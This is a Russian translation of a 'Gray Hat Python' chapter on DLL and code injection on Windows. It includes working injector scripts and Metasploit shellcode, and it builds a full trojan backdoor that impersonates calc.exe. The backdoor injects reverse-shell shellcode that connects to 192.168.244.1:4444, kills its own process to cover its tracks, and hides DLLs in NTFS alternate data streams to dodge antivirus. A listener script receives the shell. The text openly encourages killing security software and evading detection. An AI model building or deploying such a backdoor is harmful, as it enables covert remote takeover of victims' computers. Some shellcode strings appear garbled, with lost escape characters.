Gray Hat Python — DLL и Code Injection

в 13:09, , рубрики: backdoor, trojan, бэкдор, внедрение DLL, Песочница, троян, метки: , , , ,

Intro

Порой, когда вы реверсите или атакуете программу, полезно иметь возможность загрузить и выполнить свой код в контексте исследуемого процесса. Крадете ли вы хэши паролей или получаете доступ к удаленному рабочему столу целевой системы, методы внедрения кода и dll-библиотек предоставляют мощные возможности. Мы создадим несколько простых утилит на Питоне, которые позволят вам использовать оба метода. Эти методы должны входить в арсенал каждого разработчика программ, эксплойтов, шелл-кодов и пентестеров. Мы будем использовать внедрение DLL (DLL injection) для запуска всплывающего окна внутри другого процесса. Так же мы будем использовать внедрение кода (code injection), чтобы протестировать шелл-код, разработанный для уничтожения какого-либо процесса основываясь на его PID. Под конец главы мы создадим и скомпилируем Trojan’a (с функционалом backdoor’a) полностью написанного на Python. В большей степени он будет опираться на внедрении кода и использовании некоторых других скрытых тактик, которые должен использовать каждый хороший бэкдор. Давайте начнем с рассмотрения темы создания удаленных потоков, которые являются основой для обоих методов внедрения.

7.1 Создание удаленных потоков

Есть некоторые основные различия между внедрением DLL и внедрением кода, однако, оба метода достигаются одним и тем же образом – с помощью создания удаленного потока. Удаленный поток создается с помощью входящей в состав Win32 API функции CreateRemoteThread() [1], которая экспортируется из kernel32.dll. Она имеет следующий прототип:

HANDLE WINAPI CreateRemoteThread(
        HANDLE hProcess,
        LPSECURITY_ATTRIBUTES lpThreadAttributes,
        SIZE_T dwStackSize,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        DWORD dwCreationFlags,
        LPDWORD lpThreadId
);

Не пугайтесь, у нее много параметров, но все они интуитивно понятны. Первый параметр, hProcess, должен быть вам знаком. Это дескриптор процесса, в котором мы запускаем поток. Параметр lpThreadAttributes просто устанавливает дескриптор безопасности для вновь созданного потока и указывает, может ли дескриптор потока наследоваться дочерними процессами. Мы установим его значение в NULL, что даст ненаследуемый дескриптор потока и дескриптор безопасности по умолчанию. Параметр dwStackSize просто задает размер стека создаваемого потока. Мы установим его в нуль, что даст размер по умолчанию, который уже используется процессом. Следующий параметр lpStartAddress является одним из наиболее важных. Он указывает на то, где в памяти поток начнет свое выполнение. Крайне важно правильно установить этот адрес так, чтобы код, необходимый для облегчения внедрения – выполнился. Следующий параметр, lpParametr, почти настолько же важный, как и предыдущий. Он позволяет предоставить указатель на переменную, которая передается в функцию потока указанную в lpStartAddress. Вначале это может выглядеть запутанно, но очень скоро вы увидите, как важен этот параметр для выполнения внедрения DLL. Параметр dwCreationFlags определяет, как будет запущен поток. Мы будем всегда устанавливать его в нуль, что значит, что поток будет выполнен немедленно, сразу после создания. Не стесняйтесь и посмотрите в документацию MSDN, чтобы узнать другие значения, которые поддерживает параметр dwCreationFlags. Параметр lpThreadId является последним. Он заполняется идентификатором (ID) вновь созданного потока.

Теперь, когда вы понимаете основной вызов функции, ответственной за создание внедряемого кода, мы исследуем вопрос ее использования для внедрения DLL в удаленный процесс, а затем постепенно перейдем к внедрению шелл-кода. Процедура для создания удаленного потока, и в конечном счете выполнения нашего кода, немного отличается для каждого конкретного случая (внедрения DLL и шелл-кода), поэтому мы продемонстрируем ее использование дважды, чтобы покрыть все различия.

7.1.1 Внедрение DLL

Внедрение DLL в течение достаточно продолжительного времени использовалось как для добра, так и для зла. Куда бы вы ни посмотрели – везде увидите внедрение DLL. От необычных расширений оболочки Windows, до вредоносных программ ворующих вашу банковскую информацию. DLL внедрение всюду. Даже продукты безопасности внедряют свои DLL-библиотеки для отслеживания процессов проявляющих вредоносную активность. Весь цимес в использовании внедрения DLL заключается в том, что мы можем скомпилировать бинарный файл, загрузить его в процесс и выполнить его как часть процесса. Это очень полезно, например, чтобы обойти программные брандмауэры, которые позволяют только определенным приложениям делать исходящие соединения. Мы немного исследуем эту тему при написании на Питоне DLL-инжектора, который позволит нам внедрить DLL-библиотеку в любой процесс, который мы выберем.

Для загрузки DLL-библиотек в память процесса Windows, нужно использовать функцию LoadLibrary(), которая экспортируется из kernel32.dll. Она имеет следующий прототип:

HMODULE LoadLibrary(
        LPCTSTR lpFileName
);

Параметр lpFileName это просто пусть к DLL, которую вы хотите загрузить. Нам нужно заставить удаленный процесс вызвать LoadLibraryA с указателем на строку, содержащую путь к загружаемой DLL. Первый шаг заключается в том, чтобы узнать, где расположена функция LoadLibraryA. Затем записать имя загружаемой DLL. Когда мы вызовем CreateRemoteThread(), мы укажем в параметре lpStartAddress адрес размещения LoadLibraryA, а параметр в lpParameter поместим адрес размещения «пути (имени) к DLL». Когда CreateRemoteThread() начнет выполняться, она вызовет LoadLibraryA, как если бы удаленный процесс сделал запрос на загрузку DLL сам.

ПРИМЕЧАНИЕ: DLL для тестирования внедрения находится в архиве с исходниками для этой книги, который вы можете загрузить по адресу www.nostarch.com/ghpython.htm. Исходный код DLL так же находится внутри.

Давайте перейдем к коду. Откройте новый файл Python, назовите его dll_injector.py и введите следующий код.

dll_injector.py

import sys
from ctypes import *

PAGE_READWRITE = 0x04
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )

kernel32 = windll.kernel32
pid = sys.argv[1]
dll_path = sys.argv[2]
dll_len = len(dll_path)

# Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )

if not h_process:
    print "[*] Couldn't acquire a handle to PID: %s" % pid
    sys.exit(0)

(#1): # Allocate some space for the DLL path
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE)

(#2): # Write the DLL path into the allocated space
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written))

(#3): # We need to resolve the address for LoadLibraryA
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA")

(#4): # Now we try to create the remote thread, with the entry point set
# to LoadLibraryA and a pointer to the DLL path as its single parameter
thread_id = c_ulong(0)

if not kernel32.CreateRemoteThread(h_process,
                                   None,
                                   0,
                                   h_loadlib,
                                   arg_address,
                                   0,
                                   byref(thread_id)):
    print "[*] Failed to inject the DLL. Exiting."
    sys.exit(0)

print "[*] Remote thread with ID 0x%08x created." % thread_id.value

На первом шаге (#1) нужно выделить достаточное количество памяти для сохранения пути (path) внедряемой DLL, после чего записать этот путь в только что выделенную память (#2). Затем нам нужно найти адрес размещения функции LoadLibraryA (#3), чтобы передать его в вызов функции CreateRemoteThread() (#4). Как только созданный поток начнет выполняться наша внедряемая DLL-библиотека должна загрузиться в атакуемый процесс, после чего вы увидите всплывающее диалоговое окно, которое указывает на то, что внедрение прошло успешно. Используйте скрипт, как показано ниже:

./dll_injector <PID> <Path to DLL>

Теперь у нас есть хороший пример того, как можно осуществить внедрение DLL. И хотя внедренная DLL не несет полезной нагрузки, нам важно понимать саму технику внедрения. Теперь давайте перейдем к внедрению кода!

7.1.2 Внедрение кода

Давайте перейдем к чему-то более коварному. Внедрение кода позволяет нам вставлять сырой шелл-код в работающий процесс с его немедленным выполнением в памяти и при этом не оставляя следов на диске. This is also what allows attackers to migrate their shell connection from one process to another, post-exploitation.

Мы возьмем простой кусок шелл-кода, который просто завершает процесс с определенным PID. Это позволит вам перейти в удаленный процесс и убить процесс из которого вы первоначально выполнялись, что поможет вам замести следы.

Это будет ключевой особенностью Трояна, которого мы создадим в конце. Также, чтобы удовлетворить ваши потребности, мы покажем вам, как можно безопасно заменить куски шелл-кода, так чтобы вы могли сделать его немного более модульным.

Для получения шелл-кода убивающего процессы мы посетим домашнюю страницу проекта Metasploit и воспользуемся их удобным генератором шелл-кодов. Если вы не пользовались им раньше – обратитесь к адресу metasploit.com/shellcode/ и по играйтесь с ним. В нашем случае я использовал генератор для создания шелл-кода «Windows Execute Command», который показан в Листинге 7-1. Там же показаны и соответствующие настройки:

Листинг 7-1: Шелл-код убийца процессов, сгенерированный с помощью online-генератора проекта Metasploit.

/* win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152
Encoder=None http://metasploit.com */

unsigned char scode[] =
"xfcxe8x44x00x00x00x8bx45x3cx8bx7cx05x78x01xefx8b"
"x4fx18x8bx5fx20x01xebx49x8bx34x8bx01xeex31xc0x99"
"xacx84xc0x74x07xc1xcax0dx01xc2xebxf4x3bx54x24x04"
"x75xe5x8bx5fx24x01xebx66x8bx0cx4bx8bx5fx1cx01xeb"
"x8bx1cx8bx01xebx89x5cx24x04xc3x31xc0x64x8bx40x30"
"x85xc0x78x0cx8bx40x0cx8bx70x1cxadx8bx68x08xebx09"
"x8bx80xb0x00x00x00x8bx68x3cx5fx31xf6x60x56x89xf8"
"x83xc0x7bx50x68xefxcexe0x60x68x98xfex8ax0ex57xff"
"xe7x74x61x73x6bx6bx69x6cx6cx20x2fx50x49x44x20x41"
"x41x41x41x41x41x41x41x00";

Теперь, когда у нас есть шелл-код, пришло время вернуться к программированию и продемонстрировать работу внедряемого кода. Откройте новый файл Python, назовите его code_injector.py и введите следующий код:

code_injector.py

import sys
from ctypes import *

# We set the EXECUTE access mask so that our shellcode will
# execute in the memory block we have allocated
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )

kernel32 = windll.kernel32
pid = int(sys.argv[1])
pid_to_kill = sys.argv[2]

if not sys.argv[1] or not sys.argv[2]:
    print "Code Injector: ./code_injector.py <PID to inject> <PID to Kill>"
    sys.exit(0)

#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=159 Encoder=None http://metasploit.com */

shellcode = 
"xfcxe8x44x00x00x00x8bx45x3cx8bx7cx05x78x01xefx8b" 
"x4fx18x8bx5fx20x01xebx49x8bx34x8bx01xeex31xc0x99" 
"xacx84xc0x74x07xc1xcax0dx01xc2xebxf4x3bx54x24x04" 
"x75xe5x8bx5fx24x01xebx66x8bx0cx4bx8bx5fx1cx01xeb" 
"x8bx1cx8bx01xebx89x5cx24x04xc3x31xc0x64x8bx40x30" 
"x85xc0x78x0cx8bx40x0cx8bx70x1cxadx8bx68x08xebx09" 
"x8bx80xb0x00x00x00x8bx68x3cx5fx31xf6x60x56x89xf8" 
"x83xc0x7bx50x68xefxcexe0x60x68x98xfex8ax0ex57xff" 
"xe7x63x6dx64x2ex65x78x65x20x2fx63x20x74x61x73x6b" 
"x6bx69x6cx6cx20x2fx50x49x44x20x41x41x41x41x00"
(#1): padding = 4 - (len( pid_to_kill ))
replace_value = pid_to_kill + ( "x00" * padding )
replace_string= "x41" * 4

shellcode = shellcode.replace( replace_string, replace_value )
code_size = len(shellcode)

# Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )

if not h_process:
    print "[*] Couldn't acquire a handle to PID: %s" % pid
    sys.exit(0)

# Allocate some space for the shellcode
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)

# Write out the shellcode
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written))

# Now we create the remote thread and point its entry routine
# to be head of our shellcode
thread_id = c_ulong(0)
(#2): if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,
0,byref(thread_id)):

    print "[*] Failed to inject process-killing shellcode. Exiting."
    sys.exit(0)

print "[*] Remote thread created with a thread ID of: 0x%08x" % thread_id.value
print "[*] Process %s should not be running anymore!" % pid_to_kill

Часть кода вам уже знакома, но тут есть несколько интересных приемов. Первое, что нужно сделать, это заменить строку маркера (x41x41x41x41x00) в шелл-коде (#1) на PID процесса, который нужно завершить. Другое заметное различие состоит в том, каким образом мы совершаем вызов функции CreateRemoteThread() (#2). Теперь ее параметр lpStartAddress указывает на начало шелл-кода. Также мы установили lpParameter в NULL, потому что нам не нужно ничего передавать в функцию, вместо этого мы просто хотим, чтобы поток начал выполнять шелл-код.

Перед тем как выполнять скрипт, запустите несколько процессов cmd.exe, затем получите соответствующие им PID’ы и уже только после этого выполняйте скрипт как показано ниже:

./code_injector.py <PID to inject> <PID to kill>

Выполнив скрипт, с соответствующими аргументами командной строки, вы увидите успешно созданный поток (скрипт вернет ID потока). Вы также должны заметить, что выбранный вами процесс cmd.exe был убит.

Теперь вы знаете, как загрузить и выполнить шелл-код в другом процессе. Это удобно не только при установке функций обратного вызова с помощью шелл-кода, но также и при скрытии ваших следов, поскольку у вас не будет никакого кода на диске. Теперь мы используем часть выученной информации и создадим бэкдор, который даст вам удаленный доступ к атакуемой машине в любой момент времени, когда он будет выполняться на ней. Давайте перейдем на сторону зла!

7.2 На стороне зла

Используем приобретенные нами навыки для злых умыслов. Сейчас мы создадим, маленький бэкдор, который может быть использован для получения контроля над системой в любое время своего выполнения на ней. Когда наш экзешник начнет свое выполнение, мы запустим оригинальную программу, которую пользователь хотел запустить (например, мы назовем наш бинарник calc.exe, а оригинальный calc.exe и перенесем его в известное нам место). Когда будет загружаться второй процесс (оригинальный calc.exe), мы внедрим в него код, который свяжет нас с удаленной машиной. После того, как выполнится шелл-код и у нас будет шелл (связь с удаленной машиной), мы внедрим второй кусок кода в процесс, из которого проводилась атака, что убить его.

Секунду! Не могли бы мы просто дать нашему calc.exe завершиться? Если коротко, то да. Но завершение процесса является ключевой техникой поддерживаемой бэкдором. Например, вы могли бы объединить ваши знания с кодом, который вы изучили в более ранних главах, и попытаться найти работающие анти-вирусы или фаерволы, чтобы просто убить их. Важно также уметь перемещаться из одного процесса в другой и при этом иметь возможность убить процесс из которого вы только что переместились, если он, конечно же, вам больше не нужен.

В этой части также будет показано, как скомпилировать Питоновский скрипт в EXE, и как спрятать DLL в основном исполнимом файле. Давайте посмотрим, как применив небольшую хитрость можно создать DLL, которая проедет зайцем вместе с нашим EXE-файлом.

7.2.1 Скрытие файла

Для того, чтобы безопасно распространять внедряемую DLL с нашим бэкдором и не привлекать лишнего внимания, нужен скрытый способ хранения файла. Мы могли бы использовать wrapper (прим. пер. имеется ввиду joiner), который берет два исполняемых файла (включая DLL) и соединяет их вместе в один файл, но так как эта книга о хакерском использовании Python, то мы должны проявить немного больше креативности.

Для скрытия файлов внутри исполнимых файлов, злоупотребим существующей фичей в файловой системе NTFS, названной «альтернативные потоки данных» (Alternate Data Streams, ADS). Альтернативные потоки данных впервые появились в Windows NT 3.1 и были представлены как средство для взаимодействия с иерархической файловой системой Apple (Hierarchical File System, HFS). ADS позволяет нам иметь на диске один файл и хранить DLL-библиотеку в потоке, который присоединен к основному исполнимому файлу. Поток в действительности является ничем иным как скрытым файлом, который присоединен к файлу, который вы можете видеть на диске.

При использовании альтернативного потока данных, мы прячем DLL от прямого взгляда пользователя. Без специальных инструментов, пользователь компьютера не сможет увидеть содержание ADS, что идеально подходит для нас. Кроме того, ряд продуктов безопасности не сканируют альтернативные потоки должным образом, так что у нас есть хорошие шансы обойти их рады и избежать обнаружения.

Чтобы использовать альтернативный поток, нам нужно будет добавить двоеточие и имя файла скрываемого объекта, к существующему файлу, как показано ниже:

reverser.exe:vncdll.dll

В этом случае мы получаем vncdll.dll, которая хранится в альтернативном потоке данных, который прикреплен к файлу reverser.exe. Давайте напишем небольшой скрипт, который будет просто читать и писать из файла альтернативные потоки. Откройте новый файл Python, назовите его file_hider.py и введите следующий код.

file_hider.py

import sys

# Read in the DLL
fd = open( sys.argv[1], "rb" )
dll_contents = fd.read()
fd.close()

print "[*] Filesize: %d" % len( dll_contents )

# Now write it out to the ADS
fd = open( "%s:%s" % ( sys.argv[2], sys.argv[1] ), "wb" )
fd.write( dll_contents )
fd.close()

Ничего особенного – первым аргумент командной строки является DLL, которую нам нужно прочитать, а вторым аргументом является файл, в альтернативный поток которого и будет записана DLL. Мы можем использовать этот простой скрипт, чтобы хранить любые виды файлов внутри исполняемого файла, так же мы можем внедрять DLL-библиотеки прямо из ADS. Хотя мы не будем использовать внедрение DLL в нашем бэкдоре, оно все равно будет поддерживаться им, так что читайте дальше.

7.2.2 Кодим Backdoor

Давайте начнем с создания нашего «выполняющего перенаправление кода» (execution redirection code), который просто запускает выбранное нами приложение. Причина названия кода «выполняющий перенаправление» (execution redirection) состоит в том, что мы назовем наш бэкдор calc.exe, а оригинальный calc.exe переместим в другое место. Когда пользователь попытается запустить калькулятор, он ненароком запустит наш бэкдор, который в свою очередь запустит настоящий калькулятор и таким образом не вызовет у пользователя подозрений. Обратите внимание, что мы подключаем файл my_debugger_defines.py из Главы 3, который содержит все необходимые константы и структуры для создания процесса. Откройте новый файл Python, назовите его backdoor.py и введите следующий код:

backdoor.py

# This library is from Chapter 3 and contains all
# the necessary defines for process creation

# Это библиотека из Главы 3. Она содержит все
# необходимые определения для создания процесса

import sys
from ctypes import *
from my_debugger_defines import *

kernel32 = windll.kernel32
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )

# This is the original executable
path_to_exe = "C:\calc.exe"

startupinfo = STARTUPINFO()
process_information = PROCESS_INFORMATION()
creation_flags = CREATE_NEW_CONSOLE
startupinfo.dwFlags = 0x1
startupinfo.wShowWindow = 0x0
startupinfo.cb = sizeof(startupinfo)

# First things first, fire up that second process
# and store its PID so that we can do our injection
kernel32.CreateProcessA(path_to_exe,
                        None,
                        None,
                        None,
                        None,
                        creation_flags,
                        None,
                        None,
                        byref(startupinfo),
                        byref(process_information))

pid = process_information.dwProcessId

Код не слишком сложный, в нем для вас нет ничего нового. Прежде чем перейти к внедрению кода – рассмотрим, как мы можем скрыть этот самый внедряемый код. Давайте добавим его прямо в код бэкдора; просто присоединим код прямо после секции создания процесса. Наша функция внедрения сможет работать как с внедряемым кодом, так и с внедряемой DLL; просто установите «parameter» в «1», а в переменную «data» поместите путь к DLL. Здесь мы не следуем чистоте, а действуем быстро и грязно. Давайте добавим функцию внедрения в наш файл backdoor.py.

backdoor.py

...

def inject( pid, data, parameter = 0 ):
    # Get a handle to the process we are injecting into.
    h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )

    if not h_process:
        print "[*] Couldn't acquire a handle to PID: %s" % pid
        sys.exit(0)

    arg_address = kernel32.VirtualAllocEx(h_process, 0, len(data), VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)
    written = c_int(0)
    kernel32.WriteProcessMemory(h_process, arg_address, data, len(data), byref(written))

    thread_id = c_ulong(0)
    
    if not parameter:
        start_address = arg_address
    else:
        h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
        start_address = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA")
        parameter = arg_address

    if not kernel32.CreateRemoteThread(h_process,None, 0,start_address,parameter,0,byref(thread_id)):
        print "[*] Failed to inject the DLL. Exiting."
        sys.exit(0)

    return True

Теперь нашим бэкдором поддерживается функция внедрения, которая может обрабатывать и «внедрение кода», и «внедрение DLL». Теперь пришло время для вставки шелл-кода, который состоит из двух частей. Одна часть предназначена для предоставления «шелла» (оболочка для связи с атакующим), а другая для завершения процессов. Давайте продолжим добавлять код в наш бэкдор.

backdoor.py

...

# Now we have to climb out of the process we are in
# and code inject our new process to kill ourselves
#/* win32_reverse - EXITFUNC=thread LHOST=192.168.244.1 LPORT=4444 Size=287 Encoder=None http://metasploit.com */

connect_back_shellcode =
"xfcx6axebx4dxe8xf9xffxffxffx60x8bx6cx24x24x8bx45" 
"x3cx8bx7cx05x78x01xefx8bx4fx18x8bx5fx20x01xebx49" 
"x8bx34x8bx01xeex31xc0x99xacx84xc0x74x07xc1xcax0d" 
"x01xc2xebxf4x3bx54x24x28x75xe5x8bx5fx24x01xebx66" 
"x8bx0cx4bx8bx5fx1cx01xebx03x2cx8bx89x6cx24x1cx61" 
"xc3x31xdbx64x8bx43x30x8bx40x0cx8bx70x1cxadx8bx40" 
"x08x5ex68x8ex4ex0execx50xffxd6x66x53x66x68x33x32" 
"x68x77x73x32x5fx54xffxd0x68xcbxedxfcx3bx50xffxd6" 
"x5fx89xe5x66x81xedx08x02x55x6ax02xffxd0x68xd9x09" 
"xf5xadx57xffxd6x53x53x53x53x43x53x43x53xffxd0x68" 
"xc0xa8xf4x01x66x68x11x5cx66x53x89xe1x95x68xecxf9" 
"xaax60x57xffxd6x6ax10x51x55xffxd0x66x6ax64x66x68" 
"x63x6dx6ax50x59x29xccx89xe7x6ax44x89xe2x31xc0xf3" 
"xaax95x89xfdxfex42x2dxfex42x2cx8dx7ax38xabxabxab" 
"x68x72xfexb3x16xffx75x28xffxd6x5bx57x52x51x51x51" 
"x6ax01x51x51x55x51xffxd0x68xadxd9x05xcex53xffxd6" 
"x6axffxffx37xffxd0x68xe7x79xc6x79xffx75x04xffxd6" 
"xffx77xfcxffxd0x68xefxcexe0x60x53xffxd6xffxd0"

inject( pid, connect_back_shellcode )

#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=159 Encoder=None http://metasploit.com */

our_pid = str( kernel32.GetCurrentProcessId() )

process_killer_shellcode = 
"xfcxe8x44x00x00x00x8bx45x3cx8bx7cx05x78x01xefx8b" 
"x4fx18x8bx5fx20x01xebx49x8bx34x8bx01xeex31xc0x99" 
"xacx84xc0x74x07xc1xcax0dx01xc2xebxf4x3bx54x24x04" 
"x75xe5x8bx5fx24x01xebx66x8bx0cx4bx8bx5fx1cx01xeb" 
"x8bx1cx8bx01xebx89x5cx24x04xc3x31xc0x64x8bx40x30" 
"x85xc0x78x0cx8bx40x0cx8bx70x1cxadx8bx68x08xebx09" 
"x8bx80xb0x00x00x00x8bx68x3cx5fx31xf6x60x56x89xf8" 
"x83xc0x7bx50x68xefxcexe0x60x68x98xfex8ax0ex57xff" 
"xe7x63x6dx64x2ex65x78x65x20x2fx63x20x74x61x73x6b" 
"x6bx69x6cx6cx20x2fx50x49x44x20x41x41x41x41x00"

padding = 4 - ( len( our_pid ) )
replace_value = our_pid + ( "x00" * padding )
replace_string= "x41" * 4
process_killer_shellcode =
process_killer_shellcode.replace( replace_string, replace_value )

# Pop the process killing shellcode in
inject( our_pid, process_killer_shellcode )

Хорошо! Передаем идентификатор процесса (PID) в бэкдор и внедряем шелл-код в процесс, который мы породили (calc.exe). Затем убиваем бэкдор. Теперь у нас есть довольно неплохой бэкдор, который использует некоторые хитрости, но что самое главное, мы получаем доступ к атакуемой машине, каждый раз, когда кто-то запускает Калькулятор. Этот подход вы можете использовать в боевых условиях, если у вас есть скомпрометированная система, а пользователь этой системы имеет доступ к защищенному паролем или интересующему вас приложению. В этом случае вы можете подменить файлы и вклиниваться в результат работы такого приложения непосредственно в момент его запуска. Каждый раз, когда пользователь запускает подмененное приложение и в ходит в систему, вы получаете шелл (оболочку), с помощью которой вы можете начать мониторинг нажатий клавиш, перехватывать сетевые пакеты и т.п. Нам осталось решить одну маленькую вещь: Как мы собираемся гарантировать, что у пользователя, против которого мы собираемся провести атаку, установлен Python, который нужен для запуска нашего скрипта? Читайте дальше и вы узнаете о такой замечательной Питоновской библиотеке, как py2exe, которая позволяет превратить ваш скрипт на Питоне в настоящий исполнимый файл Windows, т.е. exe-файл.

7.2.3 Использование py2exe

Библиотека py2exe [2], позволяет скомпилировать скрипт на Python в полноценный исполнимый файл Windows. Перед ее использованием нужно составить специальный установочный скрипт, в котором определить, что мы хотим скомпилировать. Для компиляции бэкдора мы создадим довольно простой скрипт. Откройте новый файл, назовите его setup.py и введите следующий код.

setup.py

# Backdoor builder
from distutils.core import setup
import py2exe

setup(console=['backdoor.py'],
          options = {'py2exe':{'bundle_files':1}},
          zipfile = None,
)

Да, он настолько прост. Давайте рассмотрим параметры, которые были переданы функции установки. Первый параметр «console» – это имя основного сценария, подлежащего компиляции. Параметры «options» и «zipfile» устанавливаются для объединения Python DLL и всех других зависимых модулей в основной исполняемый файл. Это делает наш бэкдор мобильным, в том смысле, что позволяет перенести его на систему, где нет Питона, и он будет работать. Перед компиляцией проверьте, что файлы my_debugger_defines.py, backdoor.py и setup.py находятся в одной и той же директории. Затем перейдите в командную строку и выполните установочный скрипт, как показано ниже:

python setup.py py2exe

После чего вы увидите вывод от процесса компиляции, после окончания которого у вас будет иметься две директории dist и build. В нутрии папки dist вас будет ожидать backdoor.exe. Переименуйте его в calc.exe и скопируйте в целевую систему для тестов. Затем скопируйте оригинальный calc.exe из «C:WINDOWSsystem32» и положите его в корень диска «C:». После чего переместите бэкдор calc.exe в «C:WINDOWSsystem32». Теперь все что нам нужно, чтобы работать с шеллом, на удаленной системе, это написать простой скрипт для получения и отправки ему команд. Откройте новый файл Python, назовите его backdoor_shell.py и введите следующий код.

backdoor_shell.py

import socket
import sys

host = "192.168.244.1"
port = 4444

server = socket.socket( socket.AF_INET, socket.SOCK_STREAM )

server.bind( ( host, port ) )
server.listen( 5 )

print "[*] Server bound to %s:%d" % ( host , port )

connected = False
while 1:

    #accept connections from outside
    if not connected:
         (client, address) = server.accept()
        connected = True

    print "[*] Accepted Shell Connection"
    buffer = ""

    while 1:
        try:
            recv_buffer = client.recv(4096)

            print "[*] Received: %s" % recv_buffer
            if not len(recv_buffer):
                break
            else:
                buffer += recv_buffer
        except:
            break

# We've received everything, now it's time to send some input
command = raw_input("Enter Command> ")
client.sendall( command + "rnrn" )
print "[*] Sent => %s" % command

Это очень простой сокет-сервер, который просто ожидает соединения и осуществляет чтение/запись в сокет. Запустите сервер, с набором переменных host и port для вашей среды. Затем запустите calc.exe на удаленной системе (на локальном компьютере будет работать так же). После чего вы должны увидеть окно Калькулятора, а ваш сокет-сервер должен зарегистрировать соединение и получить некоторые данные. Для того, чтобы прервать цикл получения данных от удаленной системы нажмите CTRL-C, это позволит вам ввести команду. Не стесняйтесь проявлять креативность, здесь вы можете попробовать такие команды как dir, cd или type, все из которых являются родными командами шелл-оболочки Windows. После ввода каждой команды, вы будете получать результат ее работы. Теперь у вас есть эффективное и немного не заметное средство взаимодействия с бэкдором. Используйте ваше воображении для расширения функциональности; думайте хитро и обходите антивирусы. Плюсами в разработке подобных вещей на Python являются скорость, легкость и многоразовое использование.

Как было видно в этой главе, внедрение кода и DLL-библиотек это две очень полезных и мощных техники. Теперь вы вооружены новым навыком, который пригодится во время пентеста или реверсинга. В следующей главе мы сфокусируемся на использовании фаззеров основанных на Питоне. Будут рассмотрены как собственные, так некоторые open source инструменты.

Ссылки

[1] See MSDN CreateRemoteThread Function (http://msdn.microsoft.com/en-us/library/ms682437.aspx)

[2] For the py2exe download, go to (http://sourceforge.net/project/showfiles.php?group_id=15583)

Автор: r0_Crew

Поделиться

* - обязательные к заполнению поля